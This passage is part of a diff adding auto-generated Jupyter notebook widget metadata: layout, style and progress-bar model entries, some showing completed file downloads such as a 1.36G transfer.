+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ac71f4fe6e804f19b2529c82e5a42049",
+            "max": 75,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_518150c24b25401d92cf483e5ecb0253",
+            "value": 75
+          }
+        },
+        "cf11071b7b114118a8b0b659167fa09e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_03bce4ac84fd40d485b023e21fe65c4f",
+              "IPY_MODEL_d0e9965e6aa4483da2dfa546b896e645",
+              "IPY_MODEL_22338ed9cec54338ad33267ed579603a"
+            ],
+            "layout": "IPY_MODEL_622d32a9bbda46fca3ee0733be303765"
+          }
+        },
+        "d011d28093544ae692f90a7380908275": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d0716d01bfdf43ba88f8bbfd63d3285a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a9ab859e76814985877a4bacdb04e95a",
+            "placeholder": "",
+            "style": "IPY_MODEL_1df97f1113c34b7eb89c7d1c6a81b3bd",
+            "value": " 587/587 [00:00<00:00, 12.9kB/s]"
+          }
+        },
+        "d0e9965e6aa4483da2dfa546b896e645": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1237bd63fa814b57bbd9741296d71f46",
+            "max": 75,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_5b3ca63a1af5452cb81fde6020fd9c53",
+            "value": 75
+          }
+        },
+        "d22523983b9a4c71a3057f3a281895ee": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d3165abbffbc4da3bd4f0cb6f3437140": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d3971f94fa5f433580509a27ce3ad017": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d4c5db5f7ffe42beb2065e14cbdd755d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_bc9783a6d9d0437b881b01cad81c0173",
+            "placeholder": "",
+            "style": "IPY_MODEL_9e5ef9fe15314ce3bf13e61994851485",
+            "value": "100%"
+          }
+        },
+        "d612163ad6d24d91a6d7ee758d8d6367": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d62c5143fa1544ba9e2d22555dc6c3f9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d74c7ced9e5841e0a3635bf848912874": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d801dfb1d399475e995ca9106f9b3a4d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d8b3f3c7b8394b5580d8541f20c090ae": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_db833b8a924f43208063cdc7b74220f7",
+            "placeholder": "",
+            "style": "IPY_MODEL_d74c7ced9e5841e0a3635bf848912874",
+            "value": "100%"
+          }
+        },
+        "db833b8a924f43208063cdc7b74220f7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e04b95f508b7431c9f4ee9159e3b5b13": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e417a487b9ab44d68bf5d4155f4ff339": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c2ccf29c76d1461c8e820cdd1091684a",
+            "placeholder": "",
+            "style": "IPY_MODEL_42248bb1fb38481eaa292dbca2d68e38",
+            "value": "100%"
+          }
+        },
+        "e6942466051e4a6a97c36b56d8d4e0c2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e71abb2ba1b546ff9d7acd0c174f60d4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e7274e83d2c44080bbbb2fc5ec79dfee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e76b29381c114f808b3454fb122e8d10": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e85ceff770654ef1bd935f54ca32ee07": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d801dfb1d399475e995ca9106f9b3a4d",
+            "max": 587,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ed75698d0ffe4bcf886c72d276bbee17",
+            "value": 587
+          }
+        },
+        "e8bec5477f7c43c1a55c852ef8b7cb95": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e926a97d3f6149318dd6f01d17e90dd5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ea062db0a1ad43af805bf2d86d26d369": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b9cf936d26124cad959de16fcf5bea63",
+            "placeholder": "",
+            "style": "IPY_MODEL_b3ae18d50eb4415b950f98bb38362207",
+            "value": "100%"
+          }
+        },
+        "ec0c44e82a814774823e60634d678b0d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ed75698d0ffe4bcf886c72d276bbee17": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ed9e0cfb4635476f9e31c5b48aeafde8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ee5e249b357649ab95d493d940bc3b01": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "efb86ed04a0d477794e70dc92219399b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_10d895cb5166417fa2b4cc0d2feb7b6f",
+            "placeholder": "",
+            "style": "IPY_MODEL_23b55638314c4e2b967f85ab40042a6c",
+            "value": " 1.36G/1.36G [00:25<00:00, 66.5MB/s]"
+          }
+        },
+        "f24b18d71065474a9f169b4fd66898f6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f3c0042a67e34e72b1088b60c11ba2d0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f6579ff0c08648309711a654ec3de748": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f78f911cd0ac4cdc8fdcbcb29f1a201b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_90c7965cfde540158d9e7cb049c2d7d3",
+            "placeholder": "",
+            "style": "IPY_MODEL_b991b21d18ec471fb18b291a0c10aa6e",
+            "value": " 460/460 [00:00<00:00, 2.77kB/s]"
+          }
+        },
+        "f874ed5ecd6f4eed976ed24b0be4ae51": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f8c3945c2c554cc9b7ea7435525c4ab4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f931614414ba46adaab4c0522e65ebf8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
